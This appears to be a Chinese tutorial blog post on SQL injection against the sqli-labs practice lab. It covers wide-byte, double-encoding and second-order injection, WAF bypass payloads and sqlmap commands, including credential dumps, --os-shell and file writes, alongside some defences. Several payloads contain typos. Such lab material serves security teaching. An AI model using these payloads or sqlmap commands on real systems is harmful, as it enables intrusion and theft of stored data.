宽字节注入

什么是宽字节
GB2312、GBK、GB18030、 BIG5、 Shift_JIS等这些都是常说的宽字节,实际为两字节。
英文1字节,汉字2字节。

输入 ’
处理 \’
编码 %5C%27 \’
带入SQL Id=1\’ and
不能注入

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字
输入 %df’
处理 %df\’
编码 %df%5C%27 運’
带入SQL id=運’ and
可以注入

两个字符组合,认为是一一个汉字
注:前一个Ascii码大于128才能到汉字的范围

宽字节注入方法
方法:在注入点后键入%df ,然后按照正常的注入流程开始注入
Less-32
http://127.0.0.1/sqli-labs/Less 32/?id=%df’ union select 1,(select user()),3–+

黑盒测试:在可能的注入点后键入%df,之后进行注入测试

白盒测试:
1、查看MySq|编码是否为GBK
2、是否使用preg. replace把单引号替换成\’
3、是否使用addslashes进行转义
4、是否使用mysql_real_escape_string进行转义

避免宽字节注入
1、使用utf-8,避免宽子节注入;
ps:不仅在gbk,韩文、日文等等都是宽子节,都有可能存在宽字节注入漏洞。

2、mysql_real _escape_string, mysqL set_charset( ’ gbk’,$conn);

3、可以设置参数,character_set_ client=binary

二次编码注入

宽子节注入和二次编码注入:是在面对PHP代码或配置,对输入的’(单引号)进行转义的时候,在处理用户输入数据时存在问题,可以绕过转义。

宽子节注入:GBK编码处理编码的过程存在问题,可构造数据消灭\

二次编码注入:urldecode()与PHP本身处理编码时,两者配合失误,可构造数据消灭\

二次编码注入方法
方法:在注入点后键入%2527 ,然后按照正常的注入流程开始注入
doublecode.php
Less-1/doublecode.php?id=%2527 union select 1.(select user()),3–+

黑盒测试:在可能的注入点后键入%2527,之后进行注入测试

白盒测试:
1、是否使用urldecode函数
2、urldecode函数是否在转义方法之后

二次注入原理,主要分为两步
第一步:插入恶意数据:第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据:在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就
会造成SQL的二次注入。

二次注入防御
对外部提交的数据,需要更加谨慎的对待。程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。

二次编码注入原理
用户输入 id=1%27
PHP自身编码 id=1’
转义 id=1\’
带入SQL id=1\’ and
不能注入

PHP代码中了urldecode(等编码函数放在了一-使用个尴尬的位置,与PHP自身编码配合失误

用户输入 id=1%25%27
PHP自身编码 id=1%27
转义 id=1%27
函数编码 id=1’
带入SQL id=1\’ and
可以法入!

绕过原理介绍

一架构层绕过WAF :
1.寻找源站——>针对云WAF
2.利用同网断——>绕过WAF防护区域
3.利用边界漏洞——>绕过WAF防护区域

二、资源限制角度绕过WAF:
1.POST大BODY

三.协议层面绕过WAF的检测:
1.协议未覆盖绕过WAF
请求方式变换:GET ——> POST
Content Type变换: application/x-www-form-urlencoded; > multipart/form-data;
2.参数污染

四、规则层面的绕过:
主要的绕过方式:
1.SQL注释符绕过
Level-1 : union/**/select
Level-2 : union/*aaaa%01bbs*/select
Level-3 : union/*aaaaaaaaaaaaaaaaaa*/select
内连注释: /*lxox*/

2.空白符绕过
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xx*/
正则的空白符: %09,%0A.,%0B,%0D,%20
Example-1: union%250Cselect
Example- 2: union%25A0select

3.函数分割符号
concat%2520(
concat/**/(
concat%250c(
concat%25a0(

4.浮点数词法解析
select * from users where id=8EOunion select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3.,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

5.利用error-based进行SQL注入:Error-based SQL注入函数非常容易被忽略
extractvalue(1, concat(0x5c,md3));
updatexm(1, concat(0x5d,md3(3)),1);
GeometryCollection(seletfrom(selectfrom(select@@version)f)x)
polygon((select*from(select name. const(version0,1)x)
linestring()
multipoint()
multilinestring()
multipolygon()

6.MySQL特殊语法
select{x table_ name}from{x information, schema.tables};

Fuzz绕过
每一个点都能找到绕过的办法
以注释绕过为例子,开始Fuzz

注释符绕过
先测试最基本的: union/**/select
再测试中间引入特殊字: union/*aaaa%01bbs*/select
最后测试注释长度: unn/*aaaaaaaaaaaaaaaaaaaaaaaa*/selecte
最基本的模式:union/* something*/select

sqlmap介绍

使用Sq|Map进行注入测试
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1”
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1” --current-db
Python sqlmap.py -u “http://127.0.0.1/Less -1/7id=1” --current-user
Python sqlmap.py -u “http://127.0.0.1/Less-1/?id=1” -D security --tables
Python sqlmap.py -u “http://127.0.0.1/Less- 1/?id=1” -D security -T users --columns
Python sqlmap.py -u “ttp://1270.0.1/Less -1/?id=1” -D security -T users -C username,password --dump
Python sqlmap.py -U “http://127.0.0.1/Less-1/?id=1” --os-shell
Python sqlmap.py -u “http://127.0.0.1/Less- 1/?id=1” --sql-shell
Python sqlmap.py -u “http://127.0.0.1/Less -1/?id=1” -file read
Python salmap.pv -u “http://127.0.0.1/Less-1/?id=1” --file-write 本地文件–file dest目标目录及文件

Tamper脚本编写
以base64encode.py为例:

#!/us/bin/env python
头部申明

‘’’
Copyright © 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file ‘doc/COPYING for copying permission
‘’’
注释说明

import base64
引入的可能所需的第三方库

from lib.core enums import PRIORITY
from lib.core.settings import UNICODE ENCODING
SqlMap内部调用,基本不变

_priority_ = PRIORITY.LOWEST
def tamper(payload, **kwargs):
‘’’
Base64 all characters in a given payload
>>> tamper(“1’ AND SLEEP(5)#”) "MScgQUSEIFNMRUVQKDUplw==’
‘’’
return base64.b64encode(payload encode(UNICODE ENCODING)) if payload else payload
改变payload的代码

SQLMap的conf
常用的默认值列举:
# Seconds to wait before timeout connection.
# Valid: float
# Default: 30
timeout = 30

# Maximum number of retries when the HTTP connection timeouts.
# Valid: integer
# Default: 3
retries = 3

# Default: 1
level = 1
# Default: 1
risk= 1

[Techniques]
tech = BEUSTQ
# Seconds to delay the response from the DBMS.
# Valid: integer
# Default; 5
timeSec = 5

# Default: 1
verbose = 1

sqlmap工作流程

1、经常使用-hh

2、-V (0-6)
0: Show only Python tracebacks, error and critical messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses’ headers.
6: Show also HTTP responses’ page content.

3、–batch: 自动回答确认默认为大写的选项,如( [Y/n] Y )
–answers= ANSWERS Set question answers (e.g. “quit=N,follow=N”)

4、–proxy: 设置代理
还有很多协议的认证访问设置,均在Request里,可自行学习。
-t可以将注入过程导出成文件

5、–flush-session 刷新session数据库 ,刷新检测、payload结果。
–purge-output删除所有保存的数据文件夹。
–fresh-queries刷新数据获取结果。

*的误区
需要用到星号的时候:
1、url中的值 , sqImap默认不注入,需要*号指定

2、json格式 , sqImap会变傻,需要*号进行

3、在默认level(1) 时,可以使用*对特定的请求头做注入
sqlmap-v0 -u http://127.0.0.1/Less-1/?id=*1 --proxy=http://127 .0.0.1:8080 --flush-session --batch --technique=B
sqlmap-v0 -u http://127.0.0.1/Less-1/?id=1* --proxy=http://127 .0.0.1:8080 --flush-session --batch --technique=B

payload = where + boundary.prefix+test.payload+boundary.suffx

SQL注入防御绕过和sqlmap简单介绍相关推荐

  1. mysql 绕过select报错_Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要 1 schemata:表里包含所有数据库的名字 2 tables:表里包含所有数据库的所有的表 ...

  2. bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  3. 护卫神mysql_hws_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  4. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

  5. mysql注入转义绕过_SQL注入防御绕过——宽字节注入

    01 背景知识 字符集 在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...

  6. SQL注入漏洞-绕过

    绕过条件过滤 掌握了基本的注入手段.但是随着网站开发人员的安全意识的提高,纷纷使用了各种防注入的手段.最简单的就是条件过滤了.条件过滤,顾名思义就是黑名单机制,过滤掉符合条件的语句.因此我们要想办法绕 ...

  7. SQL注入教程——(三)简单的注入尝试

    本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三. GET与POST 进行SQL注入攻击,大家还需要了解两种基本的 HT ...

  8. 关于SQL注入,绕过逗号过滤

    关于SQL注入,绕过逗号过滤 前言 题目 测试 解题 1.union联合注入 2.盲注 总结 前言 最近在i春秋遇到一道sqli题目,觉得很有意思,总结一下与大家分享. "百度杯" ...

  9. php拒绝式服务漏洞防御,PHPYUN最新版SQL注入(绕过防御)

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)SQL注入(绕过防御) ### 详细说明: PHPYUN最新版:phpyun_v3.1.0604_gbk 文件/mem ...

  10. jdbctemplate 执行多条sql_白帽推荐:可以自动检索、挖掘sql注入的神器,sqlmap入门实战

    学习web渗透的小白,必须有一份sqlmap的入门档案,收藏好,以备不时之需哈! Sqlmap介绍 sqlmap是一个自动化的SQL注入工具,其主要功能就是扫描.发现并利用给定的URL的SQL注入漏洞 ...

最新文章

  1. 看完 50000 张专辑封面后,AI 设计师疯狂输出
  2. 51nod 1368:黑白棋 二分图最大匹配
  3. 教程-MessageBox 使用方法
  4. 折纸机器人的步骤图解_折纸图解飞机
  5. python之组合数据类型
  6. [projectEuler.net]12
  7. 【干货】运维人员常用的Linux命令汇总
  8. 服务器和客户端之间的变量交互
  9. SSM框架Spring+SpringMVC+MyBatis——详细整合教程
  10. 在生成.net core 3.0程序时不包含nuget库
  11. [译]GLUT教程 - 整合代码3
  12. java打印出货单_送货单,出货单打印用什么软件,含操作方法
  13. Python编程工具IDLE快捷键
  14. 智能时代如何构建金融反欺诈体系?
  15. 2021-12-11 【数据结构平时实验】【图】
  16. 计算机卡死后自动关机,电脑经常卡住自动关机怎么办
  17. ftp连接服务器失败:响应:220-FileZilla Server version 0.9.24 beta 响应:220-written by Tim Kosse (Tim.Kosse@gmx.d
  18. VS2017设置透明主题
  19. python制作自己的二维码
  20. 二维码图片如何快速生成

热门文章

  1. matlab进化树的下载,MEGA进化树下载
  2. 博微三维技术篇【七】——生态数据兼容
  3. 关于FTTx(Fiber To The X:光纤接入)
  4. 计算机接口论文摘要,计算机接口技术论文
  5. ros重置后地址_初始化ROS路由器后,怎么使用Setup 指令配置IP地址?
  6. jTopo 拓扑图(入门)
  7. 计算机ps基础知识教案范文,计算机制图软件ps教案内页.doc
  8. 慕课版软件质量保证与测试(第五章.课后作业)
  9. 回归算法--K近邻算法
  10. linux forge服务器,linux下搭建我的世界spongeforge 服务器 (海绵端)